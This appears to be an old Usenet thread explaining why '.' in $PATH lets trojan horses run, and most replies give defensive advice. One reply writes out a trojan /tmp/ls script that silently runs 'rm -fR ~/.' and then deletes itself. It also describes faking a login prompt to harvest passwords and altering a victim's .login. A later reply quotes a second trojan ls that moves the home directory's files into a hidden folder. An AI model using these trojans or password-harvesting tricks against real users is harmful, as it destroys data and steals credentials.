Very Computer

[ ... ]

Quote:>                                                       I would also
>use '/bin/ls' and /bin/chdir' in any scripts that I write.

                   ^^^^^^^^^^

Have you actually *tried* that ? ;-)
--
    __  _____   __  __


|_____||__|    |__||__|    D-6200 Wiesbaden  ...!uunet!mcsun!unido!logixwi!jpm

You should read _UNIX Operating System Security_, by Grampp and Morris
(AT&T Technical Journal, 63(8), 1984), particularly the section on
Trojan Horses.  I think you'll find most of the security holes described
have been `filled', but some techniques are still applicable.  Typos
are a good means of placing trojan horses in places like /tmp: for
instance "mroe" or "sl" etc...

                                Cam

.... and I was curious about question

        "36) What is wrong with having '.' in your $PATH"

One of the objections was that it was a security leak, ie. if there
happened to be an "ls" entry in /tmp (which might be a '/bin/rm -fr /'
in disguise I suppose). What is wrong with my solution of

        alias ls "/bin/ls -FC \!*" ?

and also,

        alias cd "/bin/chdir \!*"

This will solve the above problem in 99.999999% of the times that
I will be using cd and ls interactively (the .000001 is the once
in eternity that I might run a shell without aliases). I would also
use '/bin/ls' and /bin/chdir' in any scripts that I write.
I understand that 'ls' and 'cd' are just examples and other commands
could be in their place but if I was really paranoid I'd do an 'ls'
every time I enter a directory and check it over (I have ultra fast
reading abilities so I can read my /usr/local/bin instantly, plus
the fact that I'm the only person that can write into it anyway).

Seriously, I'd be interested to hear of some horror stories where
something * (that's * with a capital N not a typo (hell of
a typo though!)) has happened. I'd post this to comp.unix but it's
been getting a little boring lately.

MWT

I understand the first alias, but cd is a builtin....

This is one of the reasons that I like tcsh's builtin ls-F... It is faster,
and more secure... You just need to alias ls to ls-F

christos
--
Christos Zoulas         | 389 Theory Center, Electrical Engineering,

A few points:

1. Having . in your PATH is undesirable, mainly because of Trojan
   horse problems.  You mention aliasing ls and cd to take care of
   the more common commands.  Is it worth the trouble to put in
   all these aliases and check the current directory (every time!)
   for possible trojan horses before you type a command ?
   Seems to me it's a lot easier and safer to type in "./command" to
   explicitly run something in the current directory.
2. Your cd alias won't do much, mainly because cd is a shell built-in.
   (Of course, this also means you don't have to worry about 'cd' trojan
    horses with most, if not all, shells).
3. Even aliasing ls (to something other than plain vanilla ls, like you
   have) is not a great idea.  Better to pick another name, like lsf, or
   even plain l.  Some system commands (like uupick under System V) are
   shell programs which grab the output of ls and depend on the output
   being in "normal" ls format.  Your alias would break it (admittedly
   this is a bug with uupick not using full pathname for ls, but there's
   no point in arguing about it).

- Mad Srinivasan
  AT&T Bell Laboratories

   .... and I was curious about question

           "36) What is wrong with having '.' in your $PATH"

   One of the objections was that it was a security leak, ie. if there
   happened to be an "ls" entry in /tmp (which might be a '/bin/rm -fr /'
   in disguise I suppose). What is wrong with my solution of

           alias ls "/bin/ls -FC \!*" ?

Other people have pointed out why this isn't safe. I'd like to point
out that you can get the same effect as having aliases for all the
commands in your path by making sure that "." is the last thing in
your path. This should be more convenient, faster and safer. Still not
a good idea, though.

        <mike

--
I'm gonna lasso you with my *band lazer,           Mike Meyer

Ride side by side when worlds collide,                  decwrl!mwm
And slip into the Martian tide.

 > >      alias cd "/bin/chdir \!*"
 > 2. Your cd alias won't do much, mainly because cd is a shell built-in.
Oh, the alias will do a lot.  Mostly that you can not move to another
directory anymore:
        /bin/chdir: Command not found.
Is that security?
--
dik t. winter, cwi, amsterdam, nederland

 < sum stuff deleted >

Quote:>Seriously, I'd be interested to hear of some horror stories where
>something * (that's * with a capital N not a typo (hell of
>a typo though!)) has happened. I'd post this to comp.unix but it's
>been getting a little boring lately.

Yesterday I wrote a file named /tmp/ls.  It looks something like
this:

rm -fR ~/. & > /tmp/temp
/bin/ls $1 $2 $3 $4
rm -f /tmp/ls
rm -f /tmp/temp

Then today some fool who didn't beleive anything could happen to
him did this:

43 % cd /tmp
44 % ls -algF

Then he saw the files ls and temp in the /tmp directory.
He did another ls .  He got another listing, but the files
ls and temp were were gone.  When he returned to his home
directory everything was gone.

Another time, such a command swapped the .login file for whatever
I wanted.  When they logged off, the .login performed something
lide a chmod -fR a+rwx.  I could then go in and edit any file to
set up any information gathering or prank playing.  A real easy
thing to do is write a little script of C program that emulates
the remote login messages and password gathering prompt.  Substitute
this for rsh somewhere in the path, and blam!  You have their
password.  You can then go in and set up the .login file to change
everything back to what it was before .logoff.  They will never be
the wiser.  And they will issue all the commands you need to discover
them.

ps:  I didn't really set that home directory land mine.  But this
     Man-Wei Tam guy diserves it.

--
........................................................ Phil McCalley

%
% >  "36) What is wrong with having '.' in your $PATH"
%
% >Seriously, I'd be interested to hear of some horror stories where
% >something * (that's * with a capital N not a typo (hell of
% >a typo though!)) has happened. I'd post this to comp.unix but it's
% >been getting a little boring lately.
%
% Yesterday I wrote a file named /tmp/ls.  It looks something like
% this:
[* script deleted]

%
% ps:  I didn't really set that home directory land mine.  But this
%      Man-Wei Tam guy diserves it.
Nobody 'deserves' it until s/he's had a chance to learn and failed.  To
wit:

This really did happen to me...  When I was just getting root access,
it was illustrated to me how . can be dangerous via the following
little script:
        #!/bin/sh
        /usr/bin/mkdir $HOME/...
        mv $HOME/.??* $HOME/... 2>/dev/null
        mv $HOME/* $HOME/... 2>/dev/null
        /usr/bin/ls $*

Needless to say, this is undamaging but a little unnerving; it could
just as well have been 'rm -rf $HOME'.

The funny thing is that I left this in my home directory after having
been shown it, and our SysAdmin, for some reason, executed an ls while
in my home directory.  In his path, he has . (as do I, though I put it
last...  Helps for building stuff :-) listed, and my version of ls got
executed.  I came in the next day to a find a letter proclaiming 'That
was NOT an appropriate use of the root account!' in my email...  I, of
course, was baffled until I saw the ls in my directory...  tee hee

Anyway, there's a real-life story for you.  It can happen.  If you do
wish to have . in your path, make sure it's the very last thing there.
A better solution would be to edit your local path information and put
the desired path somewhere in there, but I know that that can be
inconvenient.  A still better solution is to not have . in your path,
provide root with aliases going to 'the real things' instead of letting
the path search for them, and not use root anyway unless you really
need it then.  One fellow on campus didn't bother to create himself a
user-level account; he always did everything as root.  Dangerous way to
live...

%
% --
% ........................................................ Phil McCalley

Happy computing...

:-D
--

"I think, therefore I am wrong." --   me